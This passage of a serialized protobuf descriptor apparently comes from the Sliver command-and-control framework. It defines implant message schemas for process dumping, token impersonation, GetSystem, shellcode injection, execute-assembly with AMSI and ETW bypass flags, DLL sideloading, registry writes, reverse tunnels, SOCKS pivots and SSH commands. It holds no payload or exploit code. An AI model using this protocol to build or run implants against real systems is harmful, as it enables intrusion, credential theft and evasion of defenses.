\x01(\x05\x12\x0c\n\x04Name\x18\x02 \x01(\t\x12\x0b\n\x03MAC\x18\x03 \x01(\t\x12\x13\n\x0bIPAddresses\x18\x04 \x03(\t\"9\n\x05LsReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x95\x01\n\x02Ls\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0e\n\x06\x45xists\x18\x02 \x01(\x08\x12!\n\x05\x46iles\x18\x03 \x03(\x0b\x32\x12.sliverpb.FileInfo\x12\x10\n\x08timezone\x18\x04 \x01(\t\x12\x16\n\x0etimezoneOffset\x18\x05 \x01(\x05\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"|\n\x08\x46ileInfo\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\r\n\x05IsDir\x18\x02 \x01(\x08\x12\x0c\n\x04Size\x18\x03 \x01(\x03\x12\x0f\n\x07ModTime\x18\x04 \x01(\x03\x12\x0c\n\x04Mode\x18\x05 \x01(\t\x12\x0c\n\x04Link\x18\x06 \x01(\t\x12\x0b\n\x03Uid\x18\x07 \x01(\t\x12\x0b\n\x03Gid\x18\x08 \x01(\t\"9\n\x05\x43\x64Req\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\",\n\x06PwdReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"9\n\x03Pwd\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"[\n\x05RmReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x11\n\tRecursive\x18\x02 \x01(\x08\x12\r\n\x05\x46orce\x18\x03 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"8\n\x02Rm\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"E\n\x05MvReq\x12\x0b\n\x03Src\x18\x01 \x01(\t\x12\x0b\n\x03\x44st\x18\x02 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"D\n\x02Mv\x12\x0b\n\x03Src\x18\x01 \x01(\t\x12\x0b\n\x03\x44st\x18\x02 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"<\n\x08MkdirReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\";\n\x05Mkdir\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"m\n\x0b\x44ownloadReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\r\n\x05Start\x18\x02 \x01(\x03\x12\x0c\n\x04Stop\x18\x03 \x01(\x03\x12\x0f\n\x07Recurse\x18\x04 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xc5\x01\n\x08\x44ownload\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0f\n\x07\x45ncoder\x18\x02 \x01(\t\x12\x0e\n\x06\x45xists\x18\x03 \x01(\x08\x12\r\n\x05Start\x18\x04 \x01(\x03\x12\x0c\n\x04Stop\x18\x05 \x01(\x03\x12\x0c\n\x04\x44\x61ta\x18\x06 \x01(\x0c\x12\r\n\x05IsDir\x18\x07 \x01(\x08\x12\x11\n\tReadFiles\x18\x08 \x01(\x05\x12\x17\n\x0fUnreadableFiles\x18\n \x01(\x05\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"k\n\tUploadReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0f\n\x07\x45ncoder\x18\x02 \x01(\t\x12\x0c\n\x04\x44\x61ta\x18\x03 \x01(\x0c\x12\r\n\x05IsIOC\x18\x04 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"<\n\x06Upload\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"R\n\x0eProcessDumpReq\x12\x0b\n\x03Pid\x18\x01 \x01(\x05\x12\x0f\n\x07Timeout\x18\x02 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"A\n\x0bProcessDump\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xaa\x01\n\x08RunAsReq\x12\x10\n\x08Username\x18\x01 \x01(\t\x12\x13\n\x0bProcessName\x18\x02 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x03 \x01(\t\x12\x0e\n\x06\x44omain\x18\x04 \x01(\t\x12\x10\n\x08Password\x18\x05 \x01(\t\x12\x12\n\nHideWindow\x18\x06 \x01(\x08\x12\x0f\n\x07NetOnly\x18\x07 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"=\n\x05RunAs\x12\x0e\n\x06Output\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"F\n\x0eImpersonateReq\x12\x10\n\x08Username\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"3\n\x0bImpersonate\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"2\n\x0cRevToSelfReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"1\n\tRevToSelf\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\":\n\x14\x43urrentTokenOwnerReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"I\n\x11\x43urrentTokenOwner\x12\x0e\n\x06Output\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"^\n\x12InvokeGetSystemReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x16\n\x0eHostingProcess\x18\x02 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"1\n\tGetSystem\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"y\n\x0cMakeTokenReq\x12\x10\n\x08Username\x18\x01 \x01(\t\x12\x10\n\x08Password\x18\x02 \x01(\t\x12\x0e\n\x06\x44omain\x18\x03 \x01(\t\x12\x11\n\tLogonType\x18\x04 \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"1\n\tMakeToken\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"k\n\x07TaskReq\x12\x0f\n\x07\x45ncoder\x18\x01 \x01(\t\x12\x10\n\x08RWXPages\x18\x02 \x01(\x08\x12\x0b\n\x03Pid\x18\x03 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x04 \x01(\x0c\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\",\n\x04Task\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xaf\x02\n\x12\x45xecuteAssemblyReq\x12\x10\n\x08\x41ssembly\x18\x01 \x01(\x0c\x12\x11\n\tArguments\x18\x02 \x01(\t\x12\x0f\n\x07Process\x18\x03 \x01(\t\x12\r\n\x05IsDLL\x18\x04 \x01(\x08\x12\x0c\n\x04\x41rch\x18\x05 \x01(\t\x12\x11\n\tClassName\x18\x06 \x01(\t\x12\x0e\n\x06Method\x18\x07 \x01(\t\x12\x11\n\tAppDomain\x18\x08 \x01(\t\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\x11\n\tInProcess\x18\x0c \x01(\x08\x12\x0f\n\x07Runtime\x18\r \x01(\t\x12\x12\n\nAmsiBypass\x18\x0e \x01(\x08\x12\x11\n\tEtwBypass\x18\x0f \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x80\x01\n\x18InvokeExecuteAssemblyReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x0f\n\x07process\x18\x02 \x01(\t\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x9d\x01\n\x1eInvokeInProcExecuteAssemblyReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x11\n\tArguments\x18\x02 \x03(\t\x12\x0f\n\x07Runtime\x18\x03 \x01(\t\x12\x12\n\nAmsiBypass\x18\x04 \x01(\x08\x12\x11\n\tEtwBypass\x18\x05 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"G\n\x0f\x45xecuteAssembly\x12\x0e\n\x06Output\x18\x01 \x01(\x0c\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"Q\n\x10InvokeMigrateReq\x12\x0b\n\x03Pid\x18\x01 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\x02 \x01(\x0c\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"@\n\x07Migrate\x12\x0f\n\x07Success\x18\x01 \x01(\x08\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\x8a\x01\n\nExecuteReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x02 \x03(\t\x12\x0e\n\x06Output\x18\x03 \x01(\x08\x12\x0e\n\x06Stdout\x18\x04 \x01(\t\x12\x0e\n\x06Stderr\x18\x05 \x01(\t\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xa3\x01\n\x11\x45xecuteWindowsReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x02 \x03(\t\x12\x0e\n\x06Output\x18\x03 \x01(\x08\x12\x0e\n\x06Stdout\x18\x04 \x01(\t\x12\x0e\n\x06Stderr\x18\x05 \x01(\t\x12\x10\n\x08UseToken\x18\x06 \x01(\x08\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"l\n\x07\x45xecute\x12\x0e\n\x06Status\x18\x01 \x01(\r\x12\x0e\n\x06Stdout\x18\x02 \x01(\x0c\x12\x0e\n\x06Stderr\x18\x03 \x01(\x0c\x12\x0b\n\x03Pid\x18\x04 \x01(\r\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xc9\x01\n\x0bSideloadReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x13\n\x0bProcessName\x18\x02 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x03 \x01(\t\x12\x12\n\nEntryPoint\x18\x04 \x01(\t\x12\x0c\n\x04Kill\x18\x05 \x01(\x08\x12\r\n\x05isDLL\x18\x06 \x01(\x08\x12\x11\n\tisUnicode\x18\x07 \x01(\x08\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"@\n\x08Sideload\x12\x0e\n\x06Result\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xad\x01\n\x11InvokeSpawnDllReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x13\n\x0bProcessName\x18\x02 \x01(\t\x12\x0c\n\x04\x41rgs\x18\x03 \x01(\t\x12\x12\n\nEntryPoint\x18\x04 \x01(\t\x12\x0c\n\x04Kill\x18\x05 \x01(\x08\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xa3\x01\n\x0bSpawnDllReq\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x13\n\x0bProcessName\x18\x02 \x01(\t\x12\x0e\n\x06Offset\x18\x03 \x01(\r\x12\x0c\n\x04\x41rgs\x18\x04 \x01(\t\x12\x0c\n\x04Kill\x18\x05 \x01(\x08\x12\x0c\n\x04PPid\x18\n \x01(\r\x12\x13\n\x0bProcessArgs\x18\x0b \x03(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"@\n\x08SpawnDll\x12\x0e\n\x06Result\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"w\n\nNetstatReq\x12\x0b\n\x03TCP\x18\x01 \x01(\x08\x12\x0b\n\x03UDP\x18\x02 \x01(\x08\x12\x0b\n\x03IP4\x18\x03 \x01(\x08\x12\x0b\n\x03IP6\x18\x05 \x01(\x08\x12\x11\n\tListening\x18\x06 \x01(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xf1\x01\n\x0cSockTabEntry\x12\x32\n\tLocalAddr\x18\x01 \x01(\x0b\x32\x1f.sliverpb.SockTabEntry.SockAddr\x12\x33\n\nRemoteAddr\x18\x02 \x01(\x0b\x32\x1f.sliverpb.SockTabEntry.SockAddr\x12\x0f\n\x07SkState\x18\x03 \x01(\t\x12\x0b\n\x03UID\x18\x04 \x01(\r\x12\"\n\x07Process\x18\x05 \x01(\x0b\x32\x11.commonpb.Process\x12\x10\n\x08Protocol\x18\x06 \x01(\t\x1a$\n\x08SockAddr\x12\n\n\x02Ip\x18\x01 \x01(\t\x12\x0c\n\x04Port\x18\x02 \x01(\r\"X\n\x07Netstat\x12\'\n\x07\x45ntries\x18\x01 \x03(\x0b\x32\x16.sliverpb.SockTabEntry\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\":\n\x06\x45nvReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"T\n\x07\x45nvInfo\x12#\n\tVariables\x18\x01 \x03(\x0b\x32\x10.commonpb.EnvVar\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"S\n\tSetEnvReq\x12\"\n\x08Variable\x18\x01 \x01(\x0b\x32\x10.commonpb.EnvVar\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\".\n\x06SetEnv\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"?\n\x0bUnsetEnvReq\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"0\n\x08UnsetEnv\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\x1d\n\x0e\x44NSSessionInit\x12\x0b\n\x03Key\x18\x01 \x01(\x0c\"3\n\x07\x44NSPoll\x12(\n\x06\x62locks\x18\x01 \x03(\x0b\x32\x18.sliverpb.DNSBlockHeader\"*\n\x0e\x44NSBlockHeader\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x0c\n\x04Size\x18\x02 \x01(\r\"\x1e\n\x0fHTTPSessionInit\x12\x0b\n\x03Key\x18\x01 \x01(\x0c\"3\n\rScreenshotReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"@\n\nScreenshot\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\x9c\x01\n\x0fStartServiceReq\x12\x13\n\x0bServiceName\x18\x01 \x01(\t\x12\x1a\n\x12ServiceDescription\x18\x02 \x01(\t\x12\x0f\n\x07\x42inPath\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\x11\n\tArguments\x18\x05 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"3\n\x0bServiceInfo\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"7\n\x0eServiceInfoReq\x12\x13\n\x0bServiceName\x18\x01 \x01(\t\x12\x10\n\x08Hostname\x18\x02 \x01(\t\"c\n\x0eStopServiceReq\x12-\n\x0bServiceInfo\x18\x01 \x01(\x0b\x32\x18.sliverpb.ServiceInfoReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"e\n\x10RemoveServiceReq\x12-\n\x0bServiceInfo\x18\x01 \x01(\x0b\x32\x18.sliverpb.ServiceInfoReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"p\n\x0fRegistryReadReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x0b\n\x03Key\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"C\n\x0cRegistryRead\x12\r\n\x05Value\x18\x01 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xcf\x01\n\x10RegistryWriteReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x0b\n\x03Key\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\x13\n\x0bStringValue\x18\x05 \x01(\t\x12\x11\n\tByteValue\x18\x06 \x01(\x0c\x12\x12\n\nDWordValue\x18\x07 \x01(\r\x12\x12\n\nQWordValue\x18\x08 \x01(\x04\x12\x0c\n\x04Type\x18\n \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"5\n\rRegistryWrite\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"u\n\x14RegistryCreateKeyReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x0b\n\x03Key\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"9\n\x11RegistryCreateKey\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"u\n\x14RegistryDeleteKeyReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x0b\n\x03Key\x18\x03 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"9\n\x11RegistryDeleteKey\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"i\n\x15RegistrySubKeyListReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"K\n\x12RegistrySubKeyList\x12\x0f\n\x07Subkeys\x18\x01 \x03(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"i\n\x15RegistryListValuesReq\x12\x0c\n\x04Hive\x18\x01 \x01(\t\x12\x0c\n\x04Path\x18\x02 \x01(\t\x12\x10\n\x08Hostname\x18\x04 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"N\n\x12RegistryValuesList\x12\x12\n\nValueNames\x18\x01 \x03(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"1\n\x06Tunnel\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\x11\n\tSessionID\x18\t \x01(\t\"\xbf\x01\n\nTunnelData\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x0e\n\x06\x43losed\x18\x02 \x01(\x08\x12\x10\n\x08Sequence\x18\x03 \x01(\x04\x12\x0b\n\x03\x41\x63k\x18\x04 \x01(\x04\x12\x0e\n\x06Resend\x18\x05 \x01(\x08\x12\x15\n\rCreateReverse\x18\x06 \x01(\x08\x12$\n\x08rportfwd\x18\x07 \x01(\x0b\x32\x12.sliverpb.RPortfwd\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\x11\n\tSessionID\x18\t \x01(\t\"r\n\x08ShellReq\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x11\n\tEnablePTY\x18\x02 \x01(\x08\x12\x0b\n\x03Pid\x18\x03 \x01(\r\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"q\n\x05Shell\x12\x0c\n\x04Path\x18\x01 \x01(\t\x12\x11\n\tEnablePTY\x18\x02 \x01(\x08\x12\x0b\n\x03Pid\x18\x03 \x01(\r\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"t\n\nPortfwdReq\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\x10\n\x08Protocol\x18\x02 \x01(\x05\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"s\n\x07Portfwd\x12\x0c\n\x04Port\x18\x01 \x01(\r\x12\x10\n\x08Protocol\x18\x02 \x01(\x05\x12\x0c\n\x04Host\x18\x03 \x01(\t\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"0\n\x05Socks\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\x11\n\tSessionID\x18\t \x01(\t\"\x9c\x01\n\tSocksData\x12\x0c\n\x04\x44\x61ta\x18\x01 \x01(\x0c\x12\x11\n\tCloseConn\x18\x02 \x01(\x08\x12\x10\n\x08Username\x18\x03 \x01(\t\x12\x10\n\x08Password\x18\x04 \x01(\t\x12\x10\n\x08Sequence\x18\x05 \x01(\x04\x12\x14\n\x08TunnelID\x18\x08 \x01(\x04\x42\x02\x30\x01\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x84\x01\n\x15PivotStartListenerReq\x12!\n\x04Type\x18\x01 \x01(\x0e\x32\x13.sliverpb.PivotType\x12\x13\n\x0b\x42indAddress\x18\x02 \x01(\t\x12\x0f\n\x07Options\x18\x03 \x03(\x08\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"F\n\x14PivotStopListenerReq\x12\n\n\x02ID\x18\x01 \x01(\r\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\xa1\x01\n\rPivotListener\x12\n\n\x02ID\x18\x01 \x01(\r\x12!\n\x04Type\x18\x02 \x01(\x0e\x32\x13.sliverpb.PivotType\x12\x13\n\x0b\x42indAddress\x18\x03 \x01(\t\x12&\n\x06Pivots\x18\x04 \x03(\x0b\x32\x16.sliverpb.NetConnPivot\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"c\n\nPivotHello\x12\x11\n\tPublicKey\x18\x01 \x01(\x0c\x12\x12\n\x06PeerID\x18\x02 \x01(\x03\x42\x02\x30\x01\x12\x1a\n\x12PublicKeySignature\x18\x03 \x01(\t\x12\x12\n\nSessionKey\x18\x04 \x01(\x0c\">\n\x16PivotServerKeyExchange\x12\x10\n\x08OriginID\x18\x01 \x01(\x03\x12\x12\n\nSessionKey\x18\x02 \x01(\x0c\"-\n\tPivotPeer\x12\x12\n\x06PeerID\x18\x01 \x01(\x03\x42\x02\x30\x01\x12\x0c\n\x04Name\x18\x02 \x01(\t\"\x82\x01\n\x11PivotPeerEnvelope\x12\"\n\x05Peers\x18\x01 \x03(\x0b\x32\x13.sliverpb.PivotPeer\x12\x0c\n\x04Type\x18\x02 \x01(\r\x12\x16\n\x0ePivotSessionID\x18\x03 \x01(\x0c\x12\x0c\n\x04\x44\x61ta\x18\x04 \x01(\x0c\x12\x15\n\rPeerFailureAt\x18\x05 \x01(\x03\"\x1a\n\tPivotPing\x12\r\n\x05Nonce\x18\x01 \x01(\r\"9\n\x0cNetConnPivot\x12\x12\n\x06PeerID\x18\x01 \x01(\x03\x42\x02\x30\x01\x12\x15\n\rRemoteAddress\x18\x02 \x01(\t\"\\\n\x10PivotPeerFailure\x12\x12\n\x06PeerID\x18\x01 \x01(\x03\x42\x02\x30\x01\x12\'\n\x04Type\x18\x02 \x01(\x0e\x32\x19.sliverpb.PeerFailureType\x12\x0b\n\x03\x45rr\x18\x03 \x01(\t\"7\n\x11PivotListenersReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"b\n\x0ePivotListeners\x12*\n\tListeners\x18\x01 \x03(\x0b\x32\x17.sliverpb.PivotListener\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"e\n\x15WGPortForwardStartReq\x12\x11\n\tLocalPort\x18\x01 \x01(\x05\x12\x15\n\rRemoteAddress\x18\x02 \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"b\n\rWGPortForward\x12+\n\tForwarder\x18\x01 \x01(\x0b\x32\x18.sliverpb.WGTCPForwarder\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"F\n\x14WGPortForwardStopReq\x12\n\n\x02ID\x18\x01 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"C\n\x0fWGSocksStartReq\x12\x0c\n\x04Port\x18\x01 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"X\n\x07WGSocks\x12\'\n\x06Server\x18\x01 \x01(\x0b\x32\x17.sliverpb.WGSocksServer\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"@\n\x0eWGSocksStopReq\x12\n\n\x02ID\x18\x01 \x01(\x05\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"8\n\x12WGTCPForwardersReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"7\n\x11WGSocksServersReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"C\n\x0eWGTCPForwarder\x12\n\n\x02ID\x18\x01 \x01(\x05\x12\x11\n\tLocalAddr\x18\x02 \x01(\t\x12\x12\n\nRemoteAddr\x18\x03 \x01(\t\".\n\rWGSocksServer\x12\n\n\x02ID\x18\x01 \x01(\x05\x12\x11\n\tLocalAddr\x18\x02 \x01(\t\"`\n\x0eWGSocksServers\x12(\n\x07Servers\x18\x01 \x03(\x0b\x32\x17.sliverpb.WGSocksServer\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"e\n\x0fWGTCPForwarders\x12,\n\nForwarders\x18\x01 \x03(\x0b\x32\x18.sliverpb.WGTCPForwarder\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"}\n\x0eReconfigureReq\x12\x19\n\x11ReconnectInterval\x18\x01 \x01(\x03\x12\x16\n\x0e\x42\x65\x61\x63onInterval\x18\x02 \x01(\x03\x12\x14\n\x0c\x42\x65\x61\x63onJitter\x18\x03 \x01(\x03\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"3\n\x0bReconfigure\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"K\n\x0fPollIntervalReq\x12\x14\n\x0cPollInterval\x18\x01 \x01(\x03\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"4\n\x0cPollInterval\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"\xca\x01\n\rSSHCommandReq\x12\x10\n\x08Username\x18\x01 \x01(\t\x12\x10\n\x08Hostname\x18\x02 \x01(\t\x12\x0c\n\x04Port\x18\x03 \x01(\r\x12\x0f\n\x07\x43ommand\x18\x04 \x01(\t\x12\x10\n\x08Password\x18\x05 \x01(\t\x12\x0f\n\x07PrivKey\x18\x06 \x01(\x0c\x12\x10\n\x08Krb5Conf\x18\x07 \x01(\t\x12\x0e\n\x06Keytab\x18\x08 \x01(\x0c\x12\r\n\x05Realm\x18\n \x01(\t\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"R\n\nSSHCommand\x12\x0e\n\x06StdOut\x18\x01 \x01(\t\x12\x0e\n\x06StdErr\x18\x02 \x01(\t\x12$\n\x08Response\x18\t \x01(\x0b\x32\x12.commonpb.Response\"1\n\x0bGetPrivsReq\x12\"\n\x07Request\x18\t \x01(\x0b\x32\x11.commonpb.Request\"\x8d\x01\n\x15WindowsPrivilegeEntry\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x13\n\x0b\x44\x65scription\x18\x02 \x01(\t\x12\x0f\n\x07\x45nabled\x18\x03 \x01(\x08\x12\x18\n\x10\x45nabledByDefault\x18\x04 \x01(\x08\x12\x0f\n\x07Removed\x18\x05 \x01(\x08\x12\x15\n\rUsedForAccess\x18\x06 